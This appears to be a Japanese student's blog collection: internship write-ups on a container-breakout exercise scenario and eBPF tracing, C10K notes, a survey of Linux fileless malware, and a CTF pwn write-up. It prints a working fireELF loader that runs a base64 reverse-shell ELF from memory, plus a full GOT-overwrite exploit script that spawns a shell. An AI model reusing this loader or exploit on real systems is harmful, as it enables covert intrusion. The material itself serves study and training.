サイバーセキュリティ演習のための攻撃シナリオ策定と環境構築【日本総研インターン】

12月7日から12月18日まで,株式会社日本総合研究所で行われたインターンに参加させて頂きました.

www.jri.co.jp

やったこと

日本総研のセキュリティ統括部というところに配属されて,「サイバーセキュリティ演習のための攻撃シナリオの策定と環境構築」というテーマに取り組みました.

SMBCグループのような金融機関は特にサイバー攻撃の対象になりやすく,そのため普段からセキュリティ演習が行われています.しかし,環境がWindows中心や有名な脆弱性をつくものが多く,多少偏りがあると言えます.そこで私はLinuxの知識が必要となるような演習で,さらにこれから確実に必要となってくるコンテナセキュリティを絡めたものを作成することにしました.

基本的には,まず攻撃手法の選定を行い,それを基にシナリオの策定と環境の構築を行いました.

攻撃シナリオと演習環境

簡易的ではありますが,下図のような環境を想定しました.

f:id:udon-yuya:20201223142046p:plain
想定環境

攻撃者は機密情報コンテナにアクセスすることを最終目的とします.

以下が策定した攻撃シナリオです.

  1. PC1ユーザを攻撃者が用意したWebサイトに誘導し,リバースシェルを開かせるマルウェアをダウンロードさせ,実行させる.

  2. PC1を踏み台にし,内部LANからしかアクセスできないSambaコンテナにアクセス.この時Sambaのバージョンは4.5.9であり,CVE-2017-7494という脆弱性をついて,コンテナ内のシェルを取得する.

  3. Sambaコンテナは特権コンテナとして動作しており,open_by_handle_at() によってホストのルートディレクトリを開き,ホスト側のシェルを取得する.*1

  4. ホスト側のシェルから機密コンテナにアクセスする.(終)

この演習環境のポイント

この演習環境には以下のような脆弱なポイントがあります.

  • PC1ユーザがマルウェアをダウンロードし,実行してしまった.

  • コンテナ上で動作しているSambaが脆弱性を含むバージョンであった.

  • Sambaコンテナが特権コンテナとして動作していた.

コンテナセキュリティはコンテナの設定,コンテナ上で動くアプリケーション,さらにコンテナランタイム全てを安全な状態にしなければならないです.その事実をこの演習で理解できるような設計になっていると思います.

ハマった点

ハマりポイント1

シナリオ3でホスト側のシェルを取得した後,単にdocker exec -it [機密コンテナ]とすると,

Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? 

Dockerデーモンはホストでは確実に動いているが,実行が確認できない状態になっています.

これに関しては@mrtc0さんにご相談したところ,ホストのルートディレクトリを開いてはいるものの,名前空間は隔離されている状態になっていることが原因だということがわかりました.

解決策としては,

  • $HOME/.ssh/authorized_keys に攻撃者の鍵を配置し,ssh接続する.
  • /var/lib/docker 配下のコンテナのファイルシステムに対して操作を行う

の2つがまず考えられます.
上のものに関しては簡単に検証できました.下に関して少し詳しく流れを追っていきたいと思います.

まず前提として,Sambaコンテナの他にコンテナを一つ建てて,secret.txtというファイルを作成しました.

root@vagrant:/home/vagrant# docker run -it centos /bin/bash
Unable to find image 'centos:latest' locally
latest: Pulling from library/centos
7a0437f04f83: Pull complete
Digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1
Status: Downloaded newer image for centos:latest
[root@3da30ba4241f /]# ls
bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
[root@3da30ba4241f /]# echo 'This is secret.' > secret.txt
[root@3da30ba4241f /]# ls
bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  secret.txt  srv  sys  tmp  usr  var

次にSambaコンテナをエクスプロイトしてホスト側のファイルシステムを開き,secret.txtを探索します.

[root@824a6bc898e9 /]# ./a.out <- コンテナブレイクアウトコード
opened 4
# whoami
root
# pwd
/
# cd /var/lib/docker
# ls
buildkit  containers  image  network  overlay2  plugins  runtimes  swarm  tmp  trust  volumes
# cd overlay2
# find . -name secret.txt
./ac286ee11f15a8dce9f4303e286fc39317c6074b23559241779863c3017a0884/diff/secret.txt
find: failed to read file names from file system at or below '.': No such file or directory
# cat ac286ee11f15a8dce9f4303e286fc39317c6074b23559241779863c3017a0884/diff/secret.txt
This is secret.

このようにして,secret.txtを読むことができました.

ハマりポイント2(未解決)

※この問題はまだ解決できていません💦

各攻撃シナリオのステージを独立して検証すると,攻撃が成功することを確認しました.

しかし,連続して攻撃をつなげていくとある点でうまくいかないことがわかりました.具体的には攻撃シナリオの1から2にかけての部分で,直接Sambaコンテナを攻撃した場合,リバースシェルを開くことができたのですが,PC1を介した場合,シェルが開くことができませんでした.

Sambaのログを確認したところ,攻撃時にPC1からのアクセスがあったことを確認できたため,この問題はそれ以降のネットワークのルーティングに関する問題ではないかと予想されます.検証としては,wiresharkなどを用いてパケットを確認することが考えられますが,まだできていません.

まとめ

このようにインターンではコンテナセキュリティを絡めた攻撃シナリオ策定と環境構築を行いました.

日本総研SMBCのサービスにコンテナを用いたシステムはまだ少ないそうなのですが,これから増えると予想されるため,コンテナセキュリティの啓蒙に多少寄与できるような成果物になったと感じています.

金融機関のセキュリティについて興味を持たれている方はぜひ応募してみてください。報酬(時給)も出ます!

参考

open_by_handle_at(2) でコンテナから Break Out する

Sambaの脆弱性〜CVE-2017-7494をやってみる〜 - まったり技術ブログ

攻撃しながら考えるKubernetesのセキュリティ | CloudNative Days Tokyo 2020

Pivoting - Metasploit Unleashed

execveシステムコールの解明&eBPFでロードされたバイナリを読みたかった(失敗)

前置き

こちらの記事は2020年度のセキュリティ・ネクストキャンプの選考課題だった課題解決の姿勢についての問題で自分が実際に取り組んだ成果物を残すためのものです.

私は,eBPFを用いてファイルレスマルウェアや実行ファイルを削除するマルウェアがプログラムをメモリにロードする際の処理をトレースすることで,どのような処理を行なっているのかわかるのではないかという仮説をたて,その試みをやっていく前段階の疑問として,プログラムがどのようにしてメモリにロードされるのか調べ,その後実際にロードを行っている関数をeBPFによってフックしました.

先日GMOペパボ株式会社様のインターンでeBPFのツールの開発を行ったのですが,これはそれより少し前に取り組みました.

本題

ここからは実際に提出したものを少し編集したものです.


基本的にLinuxソースコードを読んで調査を行っていく.

まずプログラムを実行するシステムコールであるexecveのソースコードの調査を行う. ~/linux/arch/x86 以下でexecveをキーワードにして検索してみる

vagrant@vagrant:~/linux/arch/x86$ grep -r execve .
./include/asm/elf.h:    /* ax gets execve's return value. */
./include/asm/mmu_context.h: * and on mm's that are brand-new, like at execve().
./xen/mmu_pv.c: /* pgd may not be pinned in the error exit path of execve */
./um/sys_call_table_64.c:#define stub_execve sys_execve
./um/sys_call_table_64.c:#define stub_execveat sys_execveat
・・・

上の中で

./entry/syscalls/syscall_64.tbl:59   64  execve          sys_execve

という記述があり,execvesys_execveというものがエントリーポイントとして設定されていることがわかった. それを踏まえて ~/linux下で

vagrant@vagrant:~/linux$ grep -r sys_execve . 

とすると,

./fs/exec.c: * sys_execve() executes a new program.

という記述が見つかったが,見てみるとこの部分はコメントで実際にはsys_execve()の定義がなかったため少しググってみると,LinuxシステムコールSYSCALL_DEFINEnマクロを用いて定義され,実際にfs/exec.c

SYSCALL_DEFINE3(execve,
                const char __user *, filename,
                const char __user *const __user *, argv,
                const char __user *const __user *, envp)
{
        return do_execve(getname(filename), argv, envp);
}

という記述があり,do_execve()という関数を読んでいることが分かる.

static int do_execve(struct filename *filename,
        const char __user *const __user *__argv,
        const char __user *const __user *__envp)
{
        struct user_arg_ptr argv = { .ptr.native = __argv };
        struct user_arg_ptr envp = { .ptr.native = __envp };
        return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}

do_execve()では__argv__envpstruct user_arg_ptrに格納した後,do_execveat_common()という関数を呼び出している.

#define AT_FDCWD                -100    
/* Special value used to indicate openat should use the current working directory. */

AT_FDCWDinclude/uapi/linux/fcntl.hに定義されていて,コメントからopenatが現在の作業ディレクトリを使用することを示すために使用される特別な値であることが分かる.

static int do_execveat_common(int fd, struct filename *filename,
                              struct user_arg_ptr argv,
                              struct user_arg_ptr envp,
                              int flags)
{
    /* 略 */

    retval = bprm_execve(bprm, fd, filename, flags);

    /* 略 */
}

fdにはAT_FDCWDflagsに0が格納されている. do_execveat_common()中ではいくつか引数や,フラグの検査などが行われた後,bprm_execve()という関数を読んでいることが分かった.

static int bprm_execve(struct linux_binprm *bprm,
                       int fd, struct filename *filename, int flags)
{
    /* 略 */

    file = do_open_execat(fd, filename, flags);

    /* 略 */

    bprm->file = file;

    /* 略 */

    retval = exec_binprm(bprm);

bprm_execve()中でもいくつかの処理が行われていたが,その中でも上の3つがどのようにプログラムがロードされるのかという点で重要だと感じた.

まず,do_open_execat()でファイルが開かれ,戻り値がbprm->fileに格納され,そのbprmを引数にexec_binprm()が呼ばれている.

static int exec_binprm(struct linux_binprm *bprm)
{
    /* 略 */

        ret = search_binary_handler(bprm);

exec_binprm()ではsearch_binary_handler()という関数が呼ばれていた.

static int search_binary_handler(struct linux_binprm *bprm)
{
    /* 略 */

    list_for_each_entry(fmt, &formats, lh) {
                if (!try_module_get(fmt->module))
                        continue;
                read_unlock(&binfmt_lock);

                retval = fmt->load_binary(bprm);

                read_lock(&binfmt_lock);
                put_binfmt(fmt);
                if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
                        read_unlock(&binfmt_lock);
                        return retval;
                }
        }

list_for_each_entry()の部分の処理が何を行っているかわからなかったため,調べてみるとformatsリストに登録されたハンドラの中から,ファイルにマッチするものを選んで実行しているようで,ファイルのフォーマットがELFならば,

static struct linux_binfmt elf_format = {
    .module     = THIS_MODULE,
    .load_binary    = load_elf_binary,
    .load_shlib = load_elf_library,
    .core_dump  = elf_core_dump,
    .min_coredump   = ELF_EXEC_PAGESIZE,
};

というハンドラが呼び出される. つまりfmt->load_binary()load_elf_binary()という関数が呼び出される. このことからsearch_binary_handler()はファイルのフォーマットに対応したハンドラを見つける関数であると思われる.

/* Now we do a little grungy work by mmapping the ELF image into
           the correct location in memory. */
for(i = 0, elf_ppnt = elf_phdata; i < elf_ex->e_phnum; i++, elf_ppnt++) {
    int elf_prot, elf_flags;
    unsigned long k, vaddr;
    unsigned long total_size = 0;

    if (elf_ppnt->p_type != PT_LOAD)
            continue;

    /* 略 */

    elf_prot = make_prot(elf_ppnt->p_flags, &arch_state,
                                     !!interpreter, false);

    elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE;

    vaddr = elf_ppnt->p_vaddr;
    /*
    * If we are loading ET_EXEC or we have already performed
    * the ET_DYN load_addr calculations, proceed normally.
    */
    if (elf_ex->e_type == ET_EXEC || load_addr_set) {
            elf_flags |= MAP_FIXED;
    } else if (elf_ex->e_type == ET_DYN) {
        /* 略 */
    }

    error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
                                elf_prot, elf_flags, total_size);

上のコードはload_elf_binary()の定義の中の一節である.この部分では最初のコメントにあるように, ELFイメージをメモリにマッピングしているようだ.

elf_phdataというのがELFのプログラムヘッダを指す変数でforループでプログラムヘッダのタイプそれぞれに対して処理を行っている.このforループでは,プログラムヘッダのタイプがPT_LOADではない場合スキップされる.

elf_protmake_prot()でプログラムヘッダのフラグに応じて,read属性,write属性,exec属性を付与されている.

static inline int make_prot(u32 p_flags, struct arch_elf_state *arch_state,
                            bool has_interp, bool is_interp)
{
        int prot = 0;

        if (p_flags & PF_R)
                prot |= PROT_READ;
        if (p_flags & PF_W)
                prot |= PROT_WRITE;
        if (p_flags & PF_X)
                prot |= PROT_EXEC;

        return arch_elf_adjust_prot(prot, arch_state, has_interp, is_interp);
}

elf_flagsとvaddrは以下のように設定されている.

elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE;

vaddr = elf_ppnt->p_vaddr;
if (elf_ex->e_type == ET_EXEC || load_addr_set) {
        elf_flags |= MAP_FIXED;
} else if (elf_ex->e_type == ET_DYN) {
    /* 略 */
}

次の部分ではオブジェクトファイルのタイプによって処理を行っている. 今回は実行ファイルを前提に処理を追っていきたいため,上の部分だけを考慮する. e_typeET_EXECであればelf_flagsMAP_FIXEDを立てる.これはマッピング時に指定されるアドレスをそのまま使用して配置することを意味するそうだ. またET_DYNは共有オブジェクトを意味し,その場合,バイナリのランダム化のための値をload_biasに保存し,ELFマッピングの全体のサイズをtotal_sizeに保存することがソースのコメントからわかった.

error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
                                elf_prot, elf_flags, total_size);

最後にelf_map()という関数が実行されている. おそらくこれはmmapというシステムコールを使った関数であると名前から推測される.

mmapシステムコールはファイルやデバイスを仮想アドレス空間マッピングするシステムコールであり,マッピングとは割り当てるだけで実際にデータのコピーが発生することがない(おそらく)ため,高速にファイルの読み書きが行えるようである.

以上の調査からプログラムが実行された時,プログラムがメモリにロードされる手順は以下のように行われることがわかった.

1.execveシステムコールが呼ばれると,SYSCALL_DEFINEnマクロによりdo_execve()が実行され,以降いくつかの関数の中で各種設定や引数,フラグの検査などが行われた後,実行ファイルのフォーマットに合わせたバイナリハンドラが実行される.

2.ELFの場合,ハンドラはload_elf_binary()であり,その中でプログラムヘッダが指し示すセグメントごとに仮想メモリ空間にマッピングされる.

以上の調査から,おそらくmmapシステムコールをフックすることでバイナリのメモリロードを覗き見ることができると予測し, 以下のeBPFのためのコードを作成した.

from bcc import BPF

bpf_code = """
#include <uapi/linux/ptrace.h>
#include <linux/sched.h>
#include <linux/fs.h>

int kprobe_mmap(struct pt_regs *ctx) {
    int length = (int)PT_REGS_PARM2(ctx);
    int prot = (int)PT_REGS_PARM3(ctx);
    int fd = (int)PT_REGS_PARM5(ctx);

    u64 id = bpf_get_current_pid_tgid();

    bpf_trace_printk("mmap():\\n");
    bpf_trace_printk("  + pid: %d\\n", id);
    bpf_trace_printk("  + length: %d\\n", length);
    bpf_trace_printk("  + prot: %d\\n", prot);
    bpf_trace_printk("  + fd: %d:\\n", fd);

    return 0;
}

int kretprobe_mmap(struct pt_regs *ctx) {
    u64 id = bpf_get_current_pid_tgid();
    void *addr = (void *)PT_REGS_RC(ctx);

    bpf_trace_printk("ret mmap():\\n");
    bpf_trace_printk("  + pid: %d\\n", id);
    bpf_trace_printk("  + addr: %x\\n", addr);
    
    return 0;
}
"""

bpf = BPF(text = bpf_code)
sysmmap_name = bpf.get_syscall_fnname("mmap")
print(sysmmap_name, sysopenat_name)
bpf.attach_kprobe(event = sysmmap_name, fn_name = "kprobe_mmap")
bpf.attach_kretprobe(event = sysmmap_name, fn_name = "kretprobe_mmap")
bpf.trace_print()

簡単に説明すると,mmapシステムコールの入り口と出口にフックポイントを設け,入り口ではファイルディスクリプタfdと,メモリ属性prot,サイズlengthを,出口では結果のアドレスaddrを取得して出力するプログラムとなっている.これを実際に動かし,その後以下のような,何も行わない実験プログラムを実行してみた.

int main() {
        return 0;
}
vagrant@vagrant:~/ebpf$ file ./test
./test: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=b9ccc761cfe472e9b2d62c55cf3ec3c66cbbe58f, not stripped

実験プログラムを実行した結果,eBPFプログラムは何も出力を行わなかった.何も出力しないということは,mmapシステムコールが呼ばれていないということになる. そこであることに気づいた.

システムコールとはユーザ空間のアプリケーションがOSの機能を使用するために,カーネルに対して発行するものであり,システムコールが発行されると,処理はカーネルへと移り,カーネル空間で処理が行われる.その中でファイルディスクリプタが示すデータをメモリにマッピングする必要が出たとしても,既にカーネル内で処理を行っているため,システムコールを発行する必要はなく,続けてその処理を行うのではないか.

そこで次は,elf_map()の入り口の出口にフックポイントを設けて,同じように監視するeBPFプログラムを作成した.

from bcc import BPF

bpf_code = """
#include <uapi/linux/ptrace.h>
#include <linux/sched.h>
#include <linux/fs.h>

int kprobe__elf_map(struct pt_regs *ctx) {
    int length = (int)PT_REGS_PARM5(ctx);
    int prot = (int)PT_REGS_PARM4(ctx);

    u64 id = bpf_get_current_pid_tgid();

    bpf_trace_printk("elf_map():\\n");
    bpf_trace_printk("  + pid: %d\\n", id);
    bpf_trace_printk("  + length: %d\\n", length);
    bpf_trace_printk("  + prot: %d\\n", prot);

    return 0;
}

int kretprobe__elf_map(struct pt_regs *ctx) {
    u64 id = bpf_get_current_pid_tgid();
    void *addr = (void *)PT_REGS_RC(ctx);

    bpf_trace_printk("ret elf_mmap():\\n");
    bpf_trace_printk("  + pid: %d\\n", id);
    bpf_trace_printk("  + addr: %x\\n", addr);
    
    return 0;
}

"""

bpf = BPF(text = bpf_code)
bpf.trace_print()

kprobe__[カーネル関数]とすることで,bpf.attach_kprobe()としなくてもアタッチされることを知った.)

このeBPFプログラムを実行し,先ほどの何も行わない実験プログラムを動かすことで今度は以下のような結果が出力された.

b'            test-14049 [000] .... 28160.483994: 0x00000001: elf_map():'
b'            test-14049 [000] .N.. 28160.484006: 0x00000001:   + pid: 14049'
b'            test-14049 [000] .N.. 28160.484006: 0x00000001:   + length: 6162'
b'            test-14049 [000] .N.. 28160.484007: 0x00000001:   + prot: 5'
b'            test-14049 [000] d... 28160.486370: 0x00000001: ret elf_mmap():'
b'            test-14049 [000] d... 28160.486377: 0x00000001:   + pid: 14049'
b'            test-14049 [000] d... 28160.486378: 0x00000001:   + addr: 400000'
b'            test-14049 [000] .N.. 28160.486390: 0x00000001: elf_map():'
b'            test-14049 [000] .N.. 28160.486390: 0x00000001:   + pid: 14049'
b'            test-14049 [000] .N.. 28160.486391: 0x00000001:   + length: 6162'
b'            test-14049 [000] .N.. 28160.486391: 0x00000001:   + prot: 3'
b'            test-14049 [000] d... 28160.487459: 0x00000001: ret elf_mmap():'
b'            test-14049 [000] d... 28160.487464: 0x00000001:   + pid: 14049'
b'            test-14049 [000] d... 28160.487465: 0x00000001:   + addr: 6b6000'

protフラグのビットの順番の定義がわからなかったため,確かではないが, 恐らく上のelf_map()PROT_EXECPROT_READのセグメントで,下がPROT_READPROT_WRITEのセグメントにバイナリをロードしているものと思われる.(実際,上のret elf_mmap()のアドレスが400000となっており,これはよく目にするスタートアドレス0x400000だと思われる.)

次に得られたアドレスの値を出力させようとしたが,0としか表示されず,プログラムのバイナリデータを見ることが出来なかった. 原因としては,何らかのアクセス制限機構などが働いていることも考えられるが,今のところ不明である.

まとめ

以上が取り組んだ内容である.その後できなかったことを含めて色々わかれば良いなと思いながら,インターンに参加した.

インターンの記事はこちら udon-yuya.hatenablog.com

セキュリティ・ネクストキャンプ頑張りたい.

GMOペパボサマーインターン2020研究開発コースに参加しました

9/8~10までGMOペパボさんのサマーインターンに参加し,自分は研究開発コースでeBPFのツールを開発してきました.

参加の経緯

研究室の同期の@terassyiにこのインターンを教えてもらい,ちょうど卒研でシステムコールを使ったマルウェア検知の研究を行っていたので,即応募しました.

インターンでやったこと

主題としてはeBPFを使ったツールを開発することでした,私はセキュリティ面でのeBPFの利用として,execve()で実行されるバイナリの解析を行いました.元々ファイルレスマルウェアなどのファイルを持たず解析を受けにくいマルウェアに対して,プログラムの実行時にカーネルで検査を行うというアイディアを持っていたので,eBPFを使えばそれが実現できるのではないかと考えました.

1日目

まずエンジニアとはという講義を受けたのち,公式のチュートリアルをやっていきました.

github.com

多分Lesson10くらいまでやった気がします.

2日目

午前中はチュートリアルをやり,午後から個人テーマを決めてそれに取り組んでいきました.

3日目

ギリギリまで個人テーマをやっていき,最後に発表会.オンラインでなかなか様子が分からなかったけど,他のコースの方々はチームで素晴らしいものを作られてました.

ランチ・懇親会

ランチや懇親会ではコース関係なく,また今年新卒で入社した方々など多くの人と交流できる場を設けてくださいました.お互いをあだ名で呼び合うという文化を始めとして,パートナーの方々がとても仲が良いことが印象に残り,会社の環境・雰囲気を知ることができるとても貴重な時間でした.

成果

元々は実行時にバイナリ全体を解析するようなツールを脳内で描き,バイナリをメモリにロードするカーネル関数をフックしてバイナリの内容を見るというツールを開発しようとしましたが,なぜかそれが実現できませんでした.(ここの原因はいまだに不明...)
そこで今回はプログラムが実行された時にそのプログラムのフォーマットがELFなのか,scriptなのかを判定するツールを作成しました.これはそれまでの試行錯誤の中でわかった,プログラムはどういうフォーマットであってもexecveによって実行され,その中でそれぞれのフォーマットに合わせた処理に分岐していくというカーネルの処理を利用して判定しています.

github.com

f:id:udon-yuya:20200914222646p:plain
実行の様子

CODEはscriptのshebangの内容を表示しています.

まとめ

Linuxカーネルの知識が足りておらず,自分の思った通りのツールを作ることができなかったため,少し悔しさが残るインターンではありましたが,得られたものはそれ以上に多く,本当に参加できて良かったと思います.
今後は各方面の知識をさらに高め,ツールの開発に取り組んでいきたいと思います.

謝辞

最後になりましたが,インターン生のために多くの時間を割いていただいたGMOペパボのパートナーの方々には本当に感謝しています.特に個人的にはYoutube上でしか見たことがなかった@udzuraさんと一緒にカーネルのソースを読めたのが一番エキサイティングなことでした,お世話になりました.ありがとうございました.

【勉強メモ】C10K問題【マルチプロセス・マルチスレッド】

はじめに

この記事は自分の勉強のメモとして残します。

C10K問題とは

C10K問題(英語: C10K problem)とは、Apache HTTP ServerなどのWebサーバソフトウェアとクライアントの通信において、クライアントが約1万台に達すると、Webサーバーのハードウェア性能に余裕があるにも関わらず、レスポンス性能が大きく下がる問題である。
ja.wikipedia.org

原因

  • プロセス数の上限に達する

Apacheは一つのリクエストに1つのプロセスを対応させる。32bit Linuxではプロセス数は32767が上限であるため、それ以上のリクエストが受け付けられなくなる。

コンテキストスイッチとは1つのCPUが複数のプロセスを並行処理するために、それまでの処理の内容を保存し、
新しい処理の内容を復元すること。1リクエスト1プロセス方式では、リクエストが増えるとプロセスも増えるため、
コンテキストスイッチのコストが無視できなくなる。

上の二つの問題はシングルプロセス・マルチスレッドにすればかなり軽減されるらしいが、それでも以下のような問題が残る。
(※プロセスのコンテキストスイッチはメモリ空間の切り替えを行わなければならないためコストが高い。一方マルチスレッドだとメモリ空間は共有しているため、メモリ空間切り替えの必要がない。)

1プロセス当たりのファイルディスクリプタの上限は基本的には1024となっていて、マルチスレッドでリクエストごとに例えばDBサーバに接続することとなると、その分だけファイルディスクリプタを消費してしまう。

解決策【Nginx】

Nginxとは従来のWebサーバのようなマルチプロセスやマルチスレッドでリクエストに対応する手法ではなく、一つのプロセスで複数のリクエストを1スレッドで処理する手法を採用している。(実際にはコアの数程度のプロセスを生成するマルチプロセスではあるようだ。)
また何かしらのイベントが発生するまで待機し、発生したイベントによって処理を行うイベント駆動という手法や、リクエストを順番通りではなく効率的に行う非同期処理という手法も採用している。

イベント駆動についてはこれがわかりやすかった。
https://openstandia.jp/pdf/140228_osc_seminar_ssof8.pdf

Linuxファイルレスマルウェア手法の調査

ファイルレスマルウェアについて興味を持っていて,軽く調査したのでメモとして残します.

どのようにしてファイルレスにするか

Linuxにはmemfd_createというRAM上に無名ファイル(anonymous file)という一時的なファイルを作成し,そのファイルを参照するファイルディスクリプタを返すシステムコールがある.マルウェアはこのシステムコールを利用してメモリ上にファイルを作り,そのファイルにペイロードを流し込み,そしてfexecveというファイルディスクリプターで指定されたプログラムを実行する関数で実行させるという仕組みだそうです.

fireELF

fireELFとはファイルレスマルウェアを作成することができるフレームワークです.

github.com

YoutubeにfireELFを使ってリバースシェルのペイロードをファイルレスにする動画がありました.

www.youtube.com

この動画の通りに進めていって,最終的にfireELFで出来上がったペイロードが↓

import ctypes, os, urllib2, base64;
libc = ctypes.CDLL(None);
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]));
syscall = libc.syscall;
fexecve = libc.fexecve;
content = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAVs8CoOHJRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==");
fd = syscall(319, "", 1);
os.write(fd, content);
fexecve(fd, argv, argv):

contentをデコードすると↓

b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00|\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H1\xffj\tX\x99\xb6\x10H\x89\xd6M1\xc9j"AZ\xb2\x07\x0f\x05H\x85\xc0xQj\nAYPj)X\x99j\x02_j\x01^\x0f\x05H\x85\xc0x;H\x97H\xb9\x02\x00\x15\xb3\xc0\xa88rQH\x89\xe6j\x10Zj*X\x0f\x05YH\x85\xc0y%I\xff\xc9t\x18Wj#Xj\x00j\x05H\x89\xe7H1\xf6\x0f\x05YY_H\x85\xc0y\xc7j<Xj\x01_\x0f\x05^j~Z\x0f\x05H\x85\xc0x\xed\xff\xe6'

おそらくELFのコードなのかなと思います.

疑問

anonymous fileって正規の使い方だとどういう時に使うんだ??

SECCON Beginners CTF 2020 flip 勉強

この記事は本大会で自分が解けなかった問題flipの復習です.

ガッツリ参考

shift-crops.hatenablog.com

概要

ユーザが指定したアドレスから1バイト分の領域の中で,2ビットだけ反転するプログラム.指定するbitを負数にすれば,反転しないこともできる.

流れ

関数ポインタを書き換えて任意の関数のものと入れ替える.

1.exitのGOTを書き換えて_start+6を刺すようにすることで無限ループするようにする.その後start+6_startに書き換える.

2.libcのベースアドレスのリークを行う. 先ほどと同じように今度は,setbufputsに向ける.

f:id:udon-yuya:20200619122648p:plain
setbufが呼ばれている様子

上図の2回目のsetbufの第1引数であるstderrの8byte先には_IO_read_ptrがあるので,putsによって出力されlibcアドレスの特定ができる.

この書き換えを行うには注意がいる.書き換えが1回のループでは行えないため,そのまま行うと書き換え途中のsetbufが呼ばれてしまう. そこで,未使用の__stack_chk_failを利用する.これをmain関数の先頭に書き換え,exitのGOTを__start_chk_failのPLTにすることでsetbufを呼ばずにループされるようになる.

この間にsetbufのGOTとstderrのポインタを書き換える.その後,exit_start に戻すことで,setbufが呼ばれ,libcアドレスのリークが成功する.

3.setbufputsにしたのと同じように,setbufのGOTをsystemに向け,stderrのポインタを/bin/shに向ける.今回も一度では書き換えれないため,先ほどと同じようにexit__stack_chk_failに向けて書き換えを行う.終えたら,戻してシェルが取れて終了.

コード

from pwn import *

def flip_byte(address, flips):
    s.sendlineafter(">> ", str(address))

    n_flip = 0
    for i in range(8):
        if (flips >> i) & 1:
            s.sendlineafter(') >> ', str(i))
            n_flip += 1
            flips ^= 1 << i
        if n_flip > 1:
            break

    if flips:
        flip_byte(address, flips)
    elif n_flip < 2:
        s.sendlineafter(') >> ', '-1')

def flip_qword(address, flips):
    for i in range(8):
        if flips & 0xff:
            flip_byte(address+i, flips & 0xff)
        flips >>= 8

elf = ELF("./flip")
libc = ELF("./libc-2.27.so")
#s = process("./flip")
s = remote('flip.quals.beginners.seccon.jp', 17539)

addr_got_exit = elf.got['exit']
addr_plt_exit = elf.plt['exit']
addr_start = elf.functions['_start'].address
addr_main = elf.functions['main'].address
addr_got_setbuf = elf.got['setbuf']
addr_plt_stack_chk = elf.plt['__stack_chk_fail']
addr_got_stack_chk = elf.got['__stack_chk_fail']
addr_stderr = elf.symbols['stderr']

offset_libc_setbuf = libc.functions['setbuf'].address
offset_libc_puts = libc.functions['puts'].address
offset_libc_stderr = libc.symbols['_IO_2_1_stderr_']

# Get infinite flip
flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6
flip_byte(addr_got_exit, 6) # exit --> start

flip_qword(addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main)

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

flip_byte(addr_stderr, 8)
flip_qword(addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts)

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

print(s.recvuntil('\n'))
print(s.recvuntil('\n'))
addr_libc_stderr = u64(s.recvuntil('\n')[:-1] + b'\x00'*2) - 0x83
#addr_libc_stderr = int(s.recvuntil('\n')[:-1], 16) - 0x83
addr_libc_base = addr_libc_stderr - offset_libc_stderr
print("addr_libc_base = ", hex(addr_libc_base))

addr_libc_puts = addr_libc_base + libc.functions['puts'].address
addr_libc_system    = addr_libc_base + libc.functions['system'].address
addr_libc_str_sh    = addr_libc_base + next(libc.search(b'/bin/sh'))

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

flip_qword(addr_got_setbuf, addr_libc_puts ^ addr_libc_system)
flip_qword(addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh)

flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)


s.interactive()

flip_byte()の軽い説明

最初に行うexitの書き換えを使って説明を行う.

flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6

はじめはまだexitは呼ばれていないためGOTは<exit@plt>+6(0x4006d6)を指しており,_start+6(0x4006e6)と値が似ているため書き換えれる.お互いの排他的論理和を計算し,結果は末尾1バイトにだけ1が現れるはずなのでそれ以外を捨てて,引数として格納する.その後.forループで先ほどのflips引数を確認し,1のところだけを入れ替える.

30日OSをRustで書く(16日目)

前回実装したマルチタスクを使いやすくする.

やったこと

・3つ以上のタスクを扱えるようにする.
・タスクをスリープできるようにする.
・タスクに優先順位をつける.
→・それぞれのタスクの一度に処理できる時間を設定する.(優先度が高いタスクは比較的長い時間実行される.)
